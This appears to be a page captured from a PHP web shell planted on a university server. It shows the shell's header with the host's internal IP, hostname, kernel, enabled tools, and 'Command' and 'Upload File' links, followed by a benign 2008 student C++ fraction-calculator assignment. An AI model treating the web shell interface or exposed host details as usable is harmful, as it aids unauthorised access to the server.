Server IP : 172.16.15.8 / Your IP : 3.139.67.228 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/bafreeman/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// File name: assign4.cpp // Author: Benjamin Freeman // Instructor: Dr. John Wang // Due date: Wed., Feb. 27, 2008 // Compilation: g++ assign4.cpp -o assign4.out // Execution: ./assign4.out // // Goal: This program will allow the user to input two fractions and an operator. // The program will then output the result of the operation. #include <iostream> using namespace std; class Fraction { int numerator, denominator; public: Fraction() { numerator = 0; denominator = 1; } Fraction(int n, int d) { numerator = n; denominator = d; } void Set(int n, int d) { numerator = n; denominator = d; } void Print() const { cout << numerator << '/' << denominator; } Fraction Multiplication(Fraction f) { Fraction t; int n, d; n = numerator*f.numerator; d = denominator*f.denominator; t.Set(n, d); return t; } Fraction Addition(Fraction f) { Fraction t; int n, d; n= numerator*f.denominator+f.numerator*denominator; d= denominator*f.denominator; t.Set(n,d); return t; } Fraction Substitution(Fraction f) { Fraction t; int n,d; n = numerator*f.denominator-f.numerator*denominator; d = denominator*f.denominator; t.Set(n,d); return t; } Fraction Division(Fraction f) { Fraction t; int n,d; n = numerator*f.denominator; d = denominator*f.numerator; t.Set(n,d); return t; } }; int main() { int n, d; Fraction a, b, c; char dummy, operation; cout << "\nWelcome to the Fraction Calculator: Created by Ben Freeman" << endl; cout << "---------------------------" << endl; cout << "Input first fraction (n/d, -1/1 to quit): "; cin >> n >> dummy >> d; while( n!=-1 && d!=1 ) { a.Set(n, d); cout << "Input second fraction (n/d): "; cin >> n >> dummy >> d; b.Set(n, d); cout << "What operation would you want to use? (+, -, *, /) "; cin >> operation; if( operation == '*') c = a.Multiplication(b); else if (operation == '+') c = a.Addition(b); else if(operation == '-') c = a.Substitution(b); else c = a.Division(b); cout << "---------------------------" << endl; a.Print(); cout << " " << operation << " "; b.Print(); cout << " = "; c.Print(); cout << "\n---------------------------" << endl; cout << "Input first fraction (n/d, -1/1 to quit): "; cin >> n >> dummy >> d; } cout << "***********************" << endl; cout << "\nBye. Hope you enjoyed it.\n\n"; return 0; }